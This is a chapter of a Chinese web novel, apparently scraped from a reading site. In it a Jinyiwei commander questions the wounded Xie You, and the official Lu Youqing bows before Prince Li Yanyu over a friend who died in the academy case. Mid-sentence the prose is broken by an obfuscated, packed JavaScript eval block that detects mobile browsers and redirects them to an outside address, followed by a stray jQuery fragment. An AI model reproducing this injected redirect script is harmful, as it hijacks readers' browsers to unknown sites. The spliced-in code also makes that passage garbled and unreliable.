默认冷灰
24号文字
方正启体

16. 逢雪(二)

作者:别君几度秋本书字数:K更新时间:
    来者正是容斟和。


    一身飞鱼服被沾湿了,暗纹绮丽盘旋其上,像干涸的血迹,透着股说不出的森冷。他浑不在意衣物上的寒意,抬手将窗子关严,顷刻间,屋里便只余下了炭火的声音。


    谢攸这才看清,容斟和的面容苍白得惊人,唇上亦无甚血色,衬着一身绯衣,清艳得像雪地里一株寒梅,眉眼泠泠然,却是一副恶鬼像。


    他不由又蹙了蹙眉,唇齿微动,欲言又止。


    “嘘……别急。”容斟和轻轻地摇了摇头,骨节分明的手缓缓抵在唇边,做出一个极其优雅的噤声手势。他眼尾低垂,声音很轻,咬字时,头偏了偏,转而看向谢攸,唇角竟是弯起了一个细微的弧度。


    开口语带惋惜:“看来忌先生并不欢迎我。”


    谢攸沉默不语地看着他,心道,任谁面前不请自来地多出一位不速之客,还走的是窗子,应当都很难摆出欢迎的姿态吧。


    却见这位不速之客并没有扰了人的自觉。他走近了些,将八仙椅拖至床旁,自顾自坐了下来,衣料拂过地面,无声无息。


    “忌先生不想知道,我为什么要来找你么。”


    眉目间似乎也蕴着一丝融雪般的春风,竟显出些许几乎温柔的亲昵,仿佛二人是相交多年的挚友,正在重逢叙话。


    可谢攸只觉一股寒意正顺着脊柱悄然爬升,竟比生在骨子里的蚀髓之痛,更让他难熬几分。


    “或者,”那声气愈发和颜悦色起来,“先生不想知道,当日在归鹤台下,我为何要救你么?”


    谢攸的脸色倏然间变得十分难看。


    他不是没有想过此事。


    彼时,容斟和所中之毒过于蹊跷,他本就怀疑其中有异。加之何云争状似不经意的一句:“谢攸,先生可曾听说过这个名字?”竟如一根细丝,无声无息地将他自局外牵入这迷影重重的书院案中。


    无论从何种境地考量,这都不是单纯之举。


    何况是冒死救一个已认了罪的必死之人。


    容斟和却恍若未觉。他慢条斯理地抚了抚袖子,笑道:“有些失礼了。说起来,先生数次救我于危难,结草衔环不足为报,我那日所为,不过是略还一二恩情,也没甚么可提的。若先生没有此意,那我告辞便是。”


    话虽如此,他却并无半分起身之意,只安然坐着,如闲庭观云,如静室听雨。


    谢攸默了默,抬眼冷冷道:“京城一见,容大人虽然昏沉不醒,却当真是算无遗策。”


    却见对方的那双眸子弯得更甚:“先生何出此言?查书院案,原也是为了还先生一个清白啊。”


    闻言,谢攸心下微微一沉,像是被灌了一捧窗外的雪,眉目间冷意不减:“指挥使这是什么意思?”


    他自然疑心书院案另有隐情,否则也不会轻易卷入其中。可如今点破他这层心思,证实他所虑所想的,竟是这个当初将他推入局中的人么?


    未免荒唐。


    “我从不行无益之事。在归鹤台下救先生,自是因为先生于书院案有所助益。”


    容斟和顿了一下,才笑盈盈地续道:“只是我尚有一事不明。先生若想伏法,寻晋王殿下便是,又何苦煞费苦心,登上归鹤台引颈受戮呢?”


    听者有意,谢攸的眉间微微一凝。


    容斟和的话语虽温和,却字字藏锋,步步为营。然而这般紧迫之下,他心神反倒清明起来,将对方所言在心中细细梳理了一遍。


    这位权倾朝野的指挥使早已知晓他的真实身份,可他并没有拆穿。那么只有两种可能。


    其一,此案尚有未明之处。其二,谢攸于他,另有所用。


    若是前者,那他大可将谢攸投入诏狱,细审一番。谢攸已当众认罪,即便问不出所以然,也足以结案,不必如此迂回周折。


    若是后者,那便是容斟和所图甚深,远不止结案这般简单。方才那一番言语试探,恐怕也正是为此。


    谢攸与之素昧平生。他不明白自己身上究竟有什么,值得这位指挥使如此费心经营。


    在书院案理出眉目、水落石出之前,这一切皆是未知。


    可他记得李焉隅的叮嘱。不能让容斟和知晓自己失忆之事。


    “我也有一事尚且不明。”谢攸微眯起双眼,不动声色地将话锋转开,“容指挥使是从何处得知,我与柳院判能解你身上之毒?”


    屋内一阵寂然。


    窗外的雪倏忽间急了些,漫天洒落,恍若将这屋里绵里藏针的较量也衬得慢了几分。


    容斟和望向窗外,良久,轻笑一声,面露遗憾之色:“看来今日,我与先生都未能得到想要的答案。不过无妨,来日方长。今日唐突了先生,特备薄礼,聊表歉意。”


    他从容起身,自腰间解下一枚令牌,递向谢攸。


    “此乃陛下亲赐。先生与晋王殿下若有所需,可凭此令调用地方玄镇卫。”


    谢攸并未伸手去接。他凝视着容斟和,淡淡道:“容大人应将此物交予晋王殿下。”


    容斟和唇畔的笑意深了些许。目光似有若无地扫过紧闭的房门,仿佛能穿透重重阻隔,看见那位他口中所提之人。


    “是啊。”他轻声道,“只可惜,晋王殿下大抵是不愿让我单独见到你的。”


    不待谢攸回应,他已将令牌置于榻边,又留下一张字笺。谢攸余光扫过,见其上写着一处地址。


    “还有两份礼。”容斟和已踱至窗畔。寒风随着推窗的动作涌入,他回眸望来,眼尾轻弯,对着谢攸眨了眨。随即身影一闪,轻盈地掠出窗外,唯有一句话悠悠而落。


    “在途中了,先生且拭目以待。”


    .


    正堂内,李焉隅独坐上首,看着窗外雪势渐浓,絮絮扬扬,落个不休。他不由地想起宁昼方才在屋中所言,心下暗叹此人果真是张乌鸦嘴。思绪飘远间,竟无端添了几分难以言说的惆怅。


    不知那人此刻如何了。


    这念头一起,便再难按下。心中仿佛被丝丝缕缕的无形之物缠扰,愈收愈紧,教他不自觉凝起一片郁色。


    面上却还端着笑吟吟的架子,待姜墉领着众官员行过拜见之礼,李焉隅只轻描淡写道:“宴席便免了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411412|184595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罢。朝中尚有大案未结,艰屯之际,不必虚礼铺张。”三言两语便将人都遣散了去。


    堂内重新静了下来,唯闻窗外细雪落下的簌簌轻响。他正欲寻陆宥青问话,却一转身,就见那人早已端端正正静立一旁,不知道默默侯了多久。


    “陆御史。”李焉隅轻声唤道。


    却见陆宥青应声上前,竟朝他深深一拜,俯身及地。


    巡抚御史虽官职不算高,然则受命于天子,行至地方,百官无有不敬的。照理,无需行这样重的礼。


    李焉隅收了笑意,微微蹙眉,上前几步伸手欲扶:“陆大人不必如此。”


    可这一扶,竟没有扶起来。陆宥青依旧以面贴于地,纹丝不动,只有一句闷沉沉的话自下方传来,字字认真:


    “要拜的。”


    李焉隅怔了怔,一时竟不知该如何应对。


    他自幼久居深宫,虽为皇子,却寄人篱下,尝尽冷暖。后来随忌虚白四处走动,又远离朝堂,甚少过问宫中之事,也从未立下什么显赫功业,更不曾受过谁这般郑重其事的大礼。


    这些年来,唯一与他名字牵连的,便只有一桩悬而未决的书院案。


    可书院案至今迷雾重重,不曾昭之于众。


    他下意识想再细看一下陆宥青的神情,或能从那张脸上辨出几分旧日的痕迹。可对方俯首贴地,执礼极恭,竟什么也窥不见。


    李焉隅只得轻声一叹,语气里带了点无可奈何:“本王命你起来回话。”


    陆宥青略一迟疑,终是依言起了身。


    李焉隅静静端详他片刻,脑海中依旧空空如也,并无相识之感。于是他眉梢一挑,温声问道:“为何行此大礼?”


    话音才落,却见陆宥青又一次屈膝,直直跪落于地。


    这才听他道出一段往事。


    原来他有一知交故友,二人情谊深重。昭宁二年,故旧春闱高中,可家中母亲病重。陆宥青恰好落了榜,是以先行返家替他照料,让好友在京安心备考。


    岂知京中再传来的,却并非金榜题名的喜讯,而是友人惨死于书院案的噩耗。


    陆宥青咬牙苦读,终入翰林,再进都察院,只为有朝一日能查清此案,让故友不再死得不明不白,讨一个真相。可他人微言轻,书院案又早已成为京中逆鳞,这些年来,他始终未能等到一个时机。


    直至李焉隅请命,重查此案。


    “微臣与故旧……皆承过嵇先生恩泽,当年一同立誓,他日不论是否得志于朝野,纵使权微力薄,也当做嵇先生那般的人,但行好事,莫问前程。”陆宥青声音微哽,却字字清晰,“因此,微臣绝不相信,书院案会是嵇先生所为。”(注1)


    他口中的“嵇先生”正是鹤鸣书院的主人,最后被诛九族的富商,嵇慎。


    李焉隅默然片刻,缓缓俯身,眉宇间不见半点嬉笑之意。他看向陆宥青,开口声音微哑:“你那位故旧……叫作什么名字?”


    陆宥青抬起脸,眸光灼灼,如雪夜灯火,明澈而坚定。


    “回殿下,他名唤晏亭,字云徊。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)